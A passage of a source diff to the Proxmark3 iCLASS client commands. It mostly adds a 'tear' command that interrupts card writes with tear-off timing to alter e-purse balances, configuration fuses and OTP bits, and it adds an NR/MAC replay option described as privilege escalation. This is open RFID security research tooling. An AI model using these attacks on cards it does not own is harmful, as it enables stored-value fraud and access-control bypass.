SendCommandNG(CMD_HF_ICLASS_WRITEBL, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_ICLASS_WRITEBL, &resp, 2000) == 0) { - if (verbose) PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_ICLASS_WRITEBL, &resp, 2000) == false) { + if (verbose) PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -2238,7 +2329,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { arg_lit0(NULL, "credit", "key is assumed to be the credit key"), arg_lit0(NULL, "elite", "elite computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key"), - arg_lit0(NULL, "nr", "replay of NR/MAC"), + arg_lit0(NULL, "nr", "replay of NR/MAC block write or use privilege escalation if mac is empty"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), arg_param_end @@ -2341,14 +2432,13 @@ static int CmdHFiClassCreditEpurse(const char *Cmd) { "Credit the epurse on an iCLASS tag. The provided key must be the credit key.\n" "The first two bytes of the epurse are the debit value (big endian) and may be any value except FFFF.\n" "The remaining two bytes of the epurse are the credit value and must be smaller than the previous value.", - "hf iclass creditepurse -d FEFFFFFF -k 001122334455667B\n" - "hf iclass creditepurse -d FEFFFFFF --ki 0"); + "hf iclass creditepurse --ki 0 -d FEFFFEFF"); void *argtable[] = { arg_param_begin, arg_str0("k", "key", "", "Credit key as 8 hex bytes"), arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), - arg_str1("d", "data", "", "data to write as 8 hex bytes"), + arg_str1("d", "data", "", "data to write as 4 hex bytes"), arg_lit0(NULL, "elite", "elite computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0("v", "verbose", "verbose output"), @@ -2433,8 +2523,8 @@ static int CmdHFiClassCreditEpurse(const char *Cmd) { PacketResponseNG resp; int isok; - if (WaitForResponseTimeout(CMD_HF_ICLASS_CREDIT_EPURSE, &resp, 2000) == 0) { - if (verbose) PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_ICLASS_CREDIT_EPURSE, &resp, 2000) == false) { + if (verbose) PrintAndLogEx(WARNING, "command execution time out"); isok = PM3_ETIMEOUT; } else if (resp.status != PM3_SUCCESS) { if (verbose) PrintAndLogEx(ERR, "failed to communicate with card"); @@ -2479,6 +2569,7 @@ static int CmdHFiClassRestore(const char *Cmd) { arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0(NULL, "nr", "replay of nr mac with privilege escalation"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2529,6 +2620,7 @@ static int CmdHFiClassRestore(const char *Cmd) { bool rawkey = arg_get_lit(ctx, 8); bool verbose = arg_get_lit(ctx, 9); bool shallow_mod = arg_get_lit(ctx, 10); + bool use_replay = arg_get_lit(ctx, 11); CLIParserFree(ctx); @@ -2575,7 +2667,7 @@ static int CmdHFiClassRestore(const char *Cmd) { payload->req.use_raw = rawkey; payload->req.use_elite = elite; payload->req.use_credit_key = use_credit_key; - payload->req.use_replay = false; + payload->req.use_replay = use_replay; payload->req.blockno = startblock; payload->req.send_reply = true; payload->req.do_auth = true; @@ -2615,8 +2707,8 @@ static int CmdHFiClassRestore(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ICLASS_RESTORE, (uint8_t *)payload, payload_size); - if (WaitForResponseTimeout(CMD_HF_ICLASS_RESTORE, &resp, 2500) == 0) { - PrintAndLogEx(WARNING, "command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_ICLASS_RESTORE, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); DropField(); free(payload); return PM3_ETIMEOUT; @@ -2624,7 +2716,7 @@ static int CmdHFiClassRestore(const char *Cmd) { if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "iCLASS restore " _GREEN_("successful")); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass rdbl") "` to verify data on card"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass rdbl") "` to verify data on card"); } else { PrintAndLogEx(WARNING, "iCLASS restore " _RED_("failed")); } @@ -2633,7 +2725,8 @@ static int CmdHFiClassRestore(const char *Cmd) { return resp.status; } -static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, bool auth, bool shallow_mod, uint8_t *out) { +static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, + bool auth, bool shallow_mod, uint8_t *out, bool print) { iclass_auth_req_t payload = { .use_raw = rawkey, @@ -2652,7 +2745,7 @@ static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, boo SendCommandNG(CMD_HF_ICLASS_READBL, (uint8_t *)&payload, sizeof(payload)); if (WaitForResponseTimeout(CMD_HF_ICLASS_READBL, &resp, 2000) == false) { - if (verbose) PrintAndLogEx(WARNING, "Command execute timeout"); + if (verbose) PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -2669,16 +2762,24 @@ static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, boo return PM3_ESOFT; } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, " block %3d/0x%02X : " _GREEN_("%s"), blockno, blockno, sprint_hex(packet->data, sizeof(packet->data))); - PrintAndLogEx(NORMAL, ""); + if (print) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, " block %3d/0x%02X : " _GREEN_("%s"), blockno, blockno, sprint_hex(packet->data, sizeof(packet->data))); + PrintAndLogEx(NORMAL, ""); + } - if (out) + if (out) { memcpy(out, packet->data, sizeof(packet->data)); + } return PM3_SUCCESS; } +static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, + bool auth, bool shallow_mod, uint8_t *out) { + return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true); +} + static int CmdHFiClass_ReadBlock(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass rdbl", @@ -2738,10 +2839,10 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { int blockno = arg_get_int_def(ctx, 3, 0); - uint8_t keyType = 0x88; //debit key + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; if (arg_get_lit(ctx, 4)) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); - keyType = 0x18; //credit key + keyType = ICLASS_CREDIT_KEYTYPE; } bool elite = arg_get_lit(ctx, 5); @@ -2779,8 +2880,9 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { return PM3_SUCCESS; bool use_sc = IsCardHelperPresent(verbose); - if (use_sc == false) + if (use_sc == false) { return PM3_SUCCESS; + } // crypto helper available. PrintAndLogEx(INFO, "----------------------------- " _CYAN_("Cardhelper") " -----------------------------"); @@ -2830,8 +2932,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { PrintAndLogEx(SUCCESS, " bin : %s", pbin); PrintAndLogEx(INFO, ""); PrintAndLogEx(INFO, "------------------------------ " _CYAN_("Wiegand") " -------------------------------"); - wiegand_message_t packed = initialize_message_object(top, mid, bot, 0); - HIDTryUnpack(&packed); + decode_wiegand(top, mid, bot, 0); } } else { PrintAndLogEx(INFO, "no credential found"); @@ -2843,6 +2944,596 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { return PM3_SUCCESS; } + +static void iclass_cmp_print(uint8_t *b1, uint8_t *b2, const char *header1, const char *header2) { + + char line1[240] = {0}; + char line2[240] = {0}; + + strcat(line1, header1); + strcat(line2, header2); + + for (uint8_t i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + + int l1 = strlen(line1); + int l2 = strlen(line2); + + uint8_t hi1 = NIBBLE_HIGH(b1[i]); + uint8_t low1 = NIBBLE_LOW(b1[i]); + + uint8_t hi2 = NIBBLE_HIGH(b2[i]); + uint8_t low2 = NIBBLE_LOW(b2[i]); + + if (hi1 != hi2) { + snprintf(line1 + l1, sizeof(line1) - l1, _RED_("%1X"), hi1); + snprintf(line2 + l2, sizeof(line2) - l2, _GREEN_("%1X"), hi2); + } else { + snprintf(line1 + l1, sizeof(line1) - l1, "%1X", hi1); + snprintf(line2 + l2, sizeof(line2) - l2, "%1X", hi2); + } + + l1 = strlen(line1); + l2 = strlen(line2); + + if (low1 != low2) { + snprintf(line1 + l1, sizeof(line1) - l1, _RED_("%1X"), low1); + snprintf(line2 + l2, sizeof(line2) - l2, _GREEN_("%1X"), low2); + } else { + snprintf(line1 + l1, sizeof(line1) - l1, "%1X", low1); + snprintf(line2 + l2, sizeof(line2) - l2, "%1X", low2); + } + } + + PrintAndLogEx(INFO, "%s", line1); + PrintAndLogEx(INFO, "%s", line2); +} + +static int CmdHFiClass_TearBlock(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass tear", + "Tear off an iCLASS tag block\n" + "e-purse usually 300-500us to trigger the erase phase\n" + "also seen 1800-2100us on some cards\n" + "Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n", + "hf iclass tear --blk 10 -d AAAAAAAAAAAAAAAA -k 001122334455667B -s 300 -e 600\n" + "hf iclass tear --blk 10 -d AAAAAAAAAAAAAAAA --ki 0 -s 300 -e 600\n" + "hf iclass tear --blk 2 -d fdffffffffffffff --ki 1 --credit -s 400 -e 500" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("k", "key", "", "Access key as 8 hex bytes"), + arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), + arg_int1(NULL, "blk", "", "block number"), + arg_str0("d", "data", "", "data to write as 8 hex bytes"), + arg_str0("m", "mac", "", "replay mac data (4 hex bytes)"), + arg_lit0(NULL, "credit", "key is assumed to be the credit key"), + arg_lit0(NULL, "elite", "elite computations applied to key"), + arg_lit0(NULL, "raw", "no computations applied to key"), + arg_lit0(NULL, "nr", "replay of NR/MAC"), + arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_int1("s", NULL, "", "tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us"), + arg_int0("i", NULL, "", "tearoff delay increment (in us) - default 10"), + arg_int0("e", NULL, "", "tearoff delay end (in us) must be a higher value than the start delay"), + arg_int0(NULL, "loop", "", "number of times to loop per tearoff time"), + arg_int0(NULL, "sleep", "", "Sleep between each tear"), + arg_lit0(NULL, "arm", "Runs the commands on device side and tries to stabilize tears"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int key_len = 0; + uint8_t key[8] = {0}; + CLIGetHexWithReturn(ctx, 1, key, &key_len); + + int key_nr = arg_get_int_def(ctx, 2, -1); + int blockno = arg_get_int_def(ctx, 3, 0); + + int data_len = 0; + uint8_t data[8] = {0}; + CLIGetHexWithReturn(ctx, 4, data, &data_len); + + int mac_len = 0; + uint8_t mac[4] = {0}; + CLIGetHexWithReturn(ctx, 5, mac, &mac_len); + + bool use_credit_key = arg_get_lit(ctx, 6); + bool elite = arg_get_lit(ctx, 7); + bool rawkey = arg_get_lit(ctx, 8); + bool use_replay = arg_get_lit(ctx, 9); + bool verbose = arg_get_lit(ctx, 10); + bool shallow_mod = arg_get_lit(ctx, 11); + + int tearoff_start = arg_get_int_def(ctx, 12, 100); + int tearoff_original_start = tearoff_start; // save original start value for later use + int tearoff_increment = arg_get_int_def(ctx, 13, 10); + int tearoff_end = arg_get_int_def(ctx, 14, tearoff_start + tearoff_increment + 500); + int tearoff_loop = arg_get_int_def(ctx, 15, 1); + int tearoff_sleep = arg_get_int_def(ctx, 16, 0); + bool run_on_device = arg_get_lit(ctx, 17); + + CLIParserFree(ctx); + + // Sanity checks + if (key_len > 0 && key_nr >= 0) { + PrintAndLogEx(ERR, "Please specify key or index, not both"); + return PM3_EINVARG; + } + + bool auth = false; + + if (key_len > 0) { + + auth = true; + if (key_len != 8) { + PrintAndLogEx(ERR, "Key is incorrect length"); + return PM3_EINVARG; + } + PrintAndLogEx(NORMAL, ""); + } + + if (key_nr >= 0) { + if (key_nr < ICLASS_KEYS_MAX) { + auth = true; + memcpy(key, iClass_Key_Table[key_nr], 8); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8)); + } else { + PrintAndLogEx(ERR, "Key number is invalid"); + return PM3_EINVARG; + } + } + + if (data_len && data_len != 8) { + PrintAndLogEx(ERR, "Data must be 8 hex bytes (16 hex symbols), got " _RED_("%u"), data_len); + return PM3_EINVARG; + } + + if (mac_len && mac_len != 4) { + PrintAndLogEx(ERR, "MAC must be 4 hex bytes (8 hex symbols)"); + return PM3_EINVARG; + } + + if (tearoff_end <= tearoff_start) { + PrintAndLogEx(ERR, "Tearoff end delay must be larger than the start delay"); + return PM3_EINVARG; + } + + if (tearoff_start <= 0) { + PrintAndLogEx(ERR, "Tearoff_start delays must be larger than 0"); + return PM3_EINVARG; + } + + if (tearoff_end <= 0) { + PrintAndLogEx(ERR, "Tearoff_end delays must be larger than 0"); + return PM3_EINVARG; + } + + if ((use_replay + rawkey + elite) > 1) { + PrintAndLogEx(ERR, "Can not use a combo of `--elite`, `--raw`, `--nr`"); + return PM3_EINVARG; + } + + int loop_count = 0; + int isok = PM3_SUCCESS; + bool read_ok = false; + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; + if (use_credit_key) { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); + keyType = ICLASS_CREDIT_KEYTYPE; + } + + if (data_len && auth == false) { + PrintAndLogEx(SUCCESS, "No key supplied. Trying no authentication read/writes"); + } + + if (tearoff_loop > 1) { + PrintAndLogEx(SUCCESS, _YELLOW_("%u") " attempts / tearoff", tearoff_loop); + } + + if (tearoff_sleep) { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("%u") " ms delay between attempts", tearoff_sleep); + } + + //check if the card is in secure mode or not + iclass_card_select_t payload_rdr = { + .flags = (FLAG_ICLASS_READER_INIT | FLAG_ICLASS_READER_CLEARTRACE) + }; + + if (shallow_mod) { + payload_rdr.flags |= FLAG_ICLASS_READER_SHALLOW_MOD; + } + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); + + if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + DropField(); + return PM3_ESOFT; + } + DropField(); + + if (resp.status == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "no tag found"); + DropField(); + return PM3_ESOFT; + } + + iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; + if (r->status == FLAG_ICLASS_NULL) { + PrintAndLogEx(FAILED, "failed to read block 0,1,2"); + return PM3_ESOFT; + } + + int fail_tolerance = 1; + if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { + PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + } else { + PrintAndLogEx(SUCCESS, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + fail_tolerance = 5; + } + + picopass_hdr_t *hdr = &r->header.hdr; + uint8_t pagemap = get_pagemap(hdr); + if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { + PrintAndLogEx(INFO, "Card in non-secure page mode detected"); + auth = false; + } + + if (pagemap == 0x0) { + PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled")); + goto out; + } + + + // perform initial read here, repeat if failed or 00s + bool read_auth = auth; + uint8_t data_read_orig[8] = {0}; + uint8_t ff_data[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; + bool first_read = false; + bool reread = false; + bool erase_phase = false; + + if (blockno < 3) { + read_auth = false; + } + + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + while (reread) { + if (res_orig == PM3_SUCCESS && !reread) { + if (memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } else { + reread = false; + } + } else if (res_orig == PM3_SUCCESS && reread) { + reread = false; + if (blockno == 2 && memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } + } + } + + if (blockno == 2 && data_len == 0) { + int value_index = 0; //assuming FFFFFFFF is on the right + if (memcmp(data_read_orig + 4, "\xFF\xFF\xFF\xFF", 4) != 0) { //FFFFFFFF is on the left + value_index = 4; + } + memcpy(key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); + use_credit_key = true; + auth = true; + memcpy(data, data_read_orig, PICOPASS_BLOCK_SIZE); + //decrease the debit epurse value by 1 + if (data_read_orig[value_index] != 0x00) { + data[value_index]--; + } else { + data[value_index + 2]--; + data[value_index] = 0xFF; + } + } + + PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); + PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); + PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); + PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages + uint8_t dbg_curr = DBG_NONE; + if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + if (setDeviceDebugLevel(DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + // clear trace log + SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); + + if (run_on_device) { + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + + iclass_tearblock_req_t payload = { + .req.use_raw = rawkey, + .req.use_elite = elite, + .req.use_credit_key = use_credit_key, + .req.use_replay = use_replay, + .req.blockno = blockno, + .req.send_reply = true, + .req.do_auth = auth, + .req.shallow_mod = shallow_mod, + .tear_start = tearoff_start, + .tear_end = tearoff_end, + .increment = tearoff_increment, + .tear_loop = tearoff_loop, + }; + memcpy(payload.req.key, key, PICOPASS_BLOCK_SIZE); + memcpy(payload.data, data, sizeof(payload.data)); + memcpy(payload.mac, mac, sizeof(payload.mac)); + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ICLASS_TEARBL, (uint8_t *)&payload, sizeof(payload)); + + if (WaitForResponseTimeout(CMD_HF_ICLASS_TEARBL, &resp, 1000)) { + if (resp.status == PM3_EOPABORTED) { + PrintAndLogEx(DEBUG, "Button pressed, user aborted"); + isok = resp.status; + } + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); + clearCommandBuffer(); + return isok; + + } else { + + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + // Main loop + while ((tearoff_start <= tearoff_end) && (read_ok == false)) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // set tear off trigger + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = (tearoff_start & 0xFFFF), + .on = true, + .off = false + }; + + int res = handle_tearoff(¶ms, verbose); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed to configure tear off"); + isok = PM3_ESOFT; + goto out; + } + + if (tearoff_loop > 1) { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us - "_YELLOW_("%3u")" iter", params.delay_us, (tearoff_end & 0xFFFF), loop_count + 1); + } else { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us", params.delay_us, (tearoff_end & 0xFFFF)); + } + + // write block - don't check the return value. As a tear-off occurred, the write failed. + // when tear off is enabled, the return code will always be PM3_ETEAROFF + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + // read the data back + uint8_t data_read[8] = {0}; + first_read = false; + reread = false; + bool decrease = false; + int readcount = 0; + while (first_read == false) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // skip authentication for config and e-purse blocks (1,2) + if (blockno < 3) { + read_auth = false; + } + + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + if (res == PM3_SUCCESS && !reread) { + if (memcmp(data_read, zeros, 8) == 0) { + reread = true; + } else { + first_read = true; + reread = false; + } + } else if (res == PM3_SUCCESS && reread) { + first_read = true; + reread = false; + } else if (res != PM3_SUCCESS) { + decrease = true; + } + + readcount++; + } + + if (readcount > fail_tolerance) { + PrintAndLogEx(WARNING, "\nRead block failed "_RED_("%d") " times", readcount); + } + + // if there was an error reading repeat the tearoff with the same delay + if (decrease && (tearoff_start > tearoff_increment) && (tearoff_start >= tearoff_original_start)) { + tearoff_start -= tearoff_increment; + if (verbose) { + PrintAndLogEx(INFO, " -> Read failed, retearing with "_CYAN_("%u")" us", tearoff_start); + } + } + + bool tear_success = true; + bool expected_values = true; + + if (memcmp(data_read, data, 8) != 0) { + tear_success = false; + } + + if ((tear_success == false) && + (memcmp(data_read, zeros, 8) != 0) && + (memcmp(data_read, data_read_orig, 8) != 0)) { + + // tearoff succeeded (partially) + + expected_values = false; + + if (memcmp(data_read, ff_data, 8) == 0 && + memcmp(data_read_orig, ff_data, 8) != 0) { + + if (erase_phase == false) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Erase phase hit... ALL ONES")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + erase_phase = true; + } else { + + if (erase_phase) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _MAGENTA_("Tearing! Write phase (post erase)")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } else { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Tearing! unknown phase")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + } + + bool goto_out = false; + if (blockno == 2) { + if (memcmp(data_read, ff_data, 8) == 0 && memcmp(data_read_orig, ff_data, 8) != 0) { + PrintAndLogEx(SUCCESS, "E-purse has been teared ( %s )", _GREEN_("ok")); + PrintAndLogEx(HINT, "Hint: try `hf iclass creditepurse -d FEFFFEFF --ki 1`"); + PrintAndLogEx(HINT, "Hint: try `hf iclass wrbl -d 'FFFFFFFF FFFF FEFF' --blk 2 --ki 1 --credit`"); + isok = PM3_SUCCESS; + goto_out = true; + } + } + + if (blockno == 1) { + if (data_read[0] != data_read_orig[0]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); + isok = PM3_SUCCESS; + goto_out = true; + } + + if (data_read[7] != data_read_orig[7]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Fuse changed, from "_YELLOW_("%02x")" to "_YELLOW_("%02x"), data_read_orig[7], data_read[7]); + + const char *flag_names[8] = { + "RA", + "Fprod0", + "Fprod1", + "Crypt0 (*1)", + "Crypt1 (*0)", + "Coding0", + "Coding1", + "Fpers (*1)" + }; + PrintAndLogEx(INFO, _YELLOW_("%-10s %-10s %-10s"), "Fuse", "Original", "Changed"); + PrintAndLogEx(INFO, "---------------------------------------"); + for (int i = 7; i >= 0; --i) { + int bit1 = (data_read_orig[7] >> i) & 1; + int bit2 = (data_read[7] >> i) & 1; + PrintAndLogEx(INFO, "%-11s %-10d %-10d", flag_names[i], bit1, bit2); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + // if more OTP bits set.. + if (data_read[1] > data_read_orig[1] || + data_read[2] > data_read_orig[2]) { + PrintAndLogEx(SUCCESS, "More OTP bits got set!!!"); + + data_read[7] = 0xBC; + res = iclass_write_block(blockno, data_read, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); + if (res != PM3_SUCCESS) { + PrintAndLogEx(INFO, "Stabilize the bits ( "_RED_("failed") " )"); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + } + + if (goto_out) { + goto out; + } + } + + if (tear_success) { // tearoff succeeded with expected values + + read_ok = true; + tear_success = true; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Read: " _GREEN_("%s") " %s" + , sprint_hex_inrow(data_read, sizeof(data_read)), + (expected_values) ? _GREEN_(" -> Expected values!") : "" + ); + } + + loop_count++; + + if (loop_count == tearoff_loop) { + tearoff_start += tearoff_increment; + loop_count = 0; + } + + if (tearoff_sleep) { + msleep(tearoff_sleep); + } + } + } + +out: + + DropField(); + + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + // disable tearoff in case of keyboard abort, or it'll trigger on next operation + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = tearoff_start, + .on = false, + .off = true + }; + handle_tearoff(¶ms, false); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); + clearCommandBuffer(); + return isok; +} + static int CmdHFiClass_loclass(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass loclass", @@ -2908,7 +3599,7 @@ static void detect_credential(uint8_t *iclass_dump, size_t dump_len, bool *is_le picopass_hdr_t *hdr = (picopass_hdr_t *)iclass_dump; - if (!memcmp(hdr->app_issuer_area, "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", PICOPASS_BLOCK_SIZE)) { + if (memcmp(hdr->app_issuer_area, "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF", PICOPASS_BLOCK_SIZE) == 0) { // Legacy AIA *is_legacy = true; @@ -2930,7 +3621,7 @@ static void detect_credential(uint8_t *iclass_dump, size_t dump_len, bool *is_le } } } - } else if (!memcmp(hdr->app_issuer_area, "\xFF\xFF\xFF\x00\x06\xFF\xFF\xFF", PICOPASS_BLOCK_SIZE)) { + } else if (memcmp(hdr->app_issuer_area, "\xFF\xFF\xFF\x00\x06\xFF\xFF\xFF", PICOPASS_BLOCK_SIZE) == 0) { // SE AIA *is_se = true; @@ -2962,28 +3653,32 @@ static void detect_credential(uint8_t *iclass_dump, size_t dump_len, bool *is_le } // print ASN1 decoded array in TLV view -static void print_iclass_sio(uint8_t *iclass_dump, size_t dump_len) { +void print_iclass_sio(uint8_t *iclass_dump, size_t dump_len, bool verbose) { + bool is_legacy, is_se, is_sr; uint8_t *sio_start; size_t sio_length; detect_credential(iclass_dump, dump_len, &is_legacy, &is_se, &is_sr, &sio_start, &sio_length); + // sanity checks if (sio_start == NULL) { return; } if (dump_len < sio_length + (sio_start - iclass_dump)) { - // SIO length exceeds the size of the dump we have, bail + // SIO length exceeds the size of the dump return; } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "---------------------------- " _CYAN_("SIO - RAW") " ----------------------------"); + PrintAndLogEx(INFO, "--------------------------- " _CYAN_("SIO - RAW") " -----------------------------"); print_hex_noascii_break(sio_start, sio_length, 32); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "------------------------- " _CYAN_("SIO - ASN1 TLV") " --------------------------"); - asn1_print(sio_start, sio_length, " "); - PrintAndLogEx(NORMAL, ""); + if (verbose) { + PrintAndLogEx(INFO, "----------------------- " _CYAN_("SIO - ASN1 TLV") " ---------------------------"); + asn1_print(sio_start, sio_length, " "); + PrintAndLogEx(NORMAL, ""); + } } void printIclassDumpContents(uint8_t *iclass_dump, uint8_t startblock, uint8_t endblock, size_t filesize, bool dense_output) { @@ -3181,8 +3876,9 @@ void printIclassDumpContents(uint8_t *iclass_dump, uint8_t startblock, uint8_t e if (is_legacy) PrintAndLogEx(HINT, _YELLOW_("yellow") " = legacy credential"); - if (is_se) + if (is_se) { PrintAndLogEx(HINT, _CYAN_("cyan") " = SIO / SE credential"); + } if (is_sr) PrintAndLogEx(HINT, _CYAN_("cyan") " = SIO / SR credential"); @@ -3230,7 +3926,6 @@ static int CmdHFiClassView(const char *Cmd) { } if (verbose) { - PrintAndLogEx(INFO, "File: " _YELLOW_("%s"), filename); PrintAndLogEx(INFO, "File size %zu bytes, file blocks %d (0x%x)", bytes_read, (uint16_t)(bytes_read >> 3), (uint16_t)(bytes_read >> 3)); PrintAndLogEx(INFO, "Printing blocks from: " 